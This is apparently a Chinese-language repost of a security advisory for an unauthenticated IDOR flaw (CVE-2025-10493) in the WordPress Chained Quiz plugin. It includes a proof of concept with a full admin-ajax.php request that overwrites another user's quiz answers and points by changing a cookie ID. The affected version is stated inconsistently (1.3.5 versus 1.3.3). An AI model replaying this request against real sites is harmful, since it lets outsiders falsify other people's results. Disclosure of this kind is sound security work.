Chained Quiz插件IDOR漏洞:无需认证的Cookie数据篡改攻击

本文详细分析了WordPress插件Chained Quiz 1.3.5版本中存在的未授权不安全的直接对象引用漏洞。攻击者可通过猜测或枚举Cookie中的completion_id值,无需身份验证即可篡改其他用户的测验答案和分数,属于严重授权缺陷。

漏洞标题:Chained Quiz 1.3.5 - 通过Cookie的未授权不安全直接对象引用

日期:2025-12-25

漏洞作者:Karuppiah Sabari Kumar (0xsabre)

厂商主页:https://wordpress.org/plugins/chained-quiz/

软件链接:https://downloads.wordpress.org/plugin/chained-quiz.1.3.3.zip

版本:<= 1.3.3

测试环境:WordPress / Linux

CVE:CVE-2025-10493


漏洞类型

不安全直接对象引用 / 授权不当


漏洞描述

Chained Quiz插件使用可预测的、自动递增的数据库ID存储每次测验尝试,并将该值直接暴露在客户端Cookie中,Cookie名称为:

`chained_completion_id<quiz_id>`

当通过admin-ajax.php提交或重新提交测验答案时,服务器仅基于此Cookie值更新测验尝试记录,而不会验证该尝试是否属于当前已认证的用户。

当插件使用默认设置时,利用此漏洞无需任何身份验证。

服务器直接使用Cookie中的completion_id检索测验尝试,并执行UPDATE查询,而不验证所有权。

因此,攻击者可以通过猜测或枚举有效的completion_id值,并重放答案提交,来劫持或篡改其他用户的测验尝试。


受影响组件

通过admin-ajax.php的测验提交和结果处理功能


概念验证

步骤1:受害者用户提交

用户完成测验。提交内容使用一个完成ID存储,并通过Cookie与用户的会话关联,例如:

`chained_completion_id1=2`

步骤2:攻击者拦截

攻击者完成相同的测验,并使用代理或浏览器开发者工具拦截自己的提交请求。

示例请求:

1
2
3
4
5
6
7
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Cookie: chained_completion_id1=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

answer=0&question_id=1&quiz_id=1&post_id=117&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1

步骤3:篡改

攻击者修改Cookie值以匹配另一个用户的测验尝试,例如:

`chained_completion_id1=2`

攻击者还可以修改“answer”或“points”等参数来操纵测验响应或分数。

然后将修改后的请求发送到服务器。


步骤4:结果

服务器覆盖了受害者用户的测验提交,包括答案和分数,而没有验证完成ID的所有权。


影响

攻击者可以任意修改属于其他用户的测验答案、分数或结果。这导致测验数据的完整性受到破坏,并允许未经授权操纵已完成的测验尝试。在测验结果用于评估、排行榜或证书的环境中,这会破坏平台的信任,并影响任何依赖测验完成数据的下游集成。


CWE

  • CWE-639: 通过用户控制密钥绕过授权
  • CWE-285: 授权不当
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计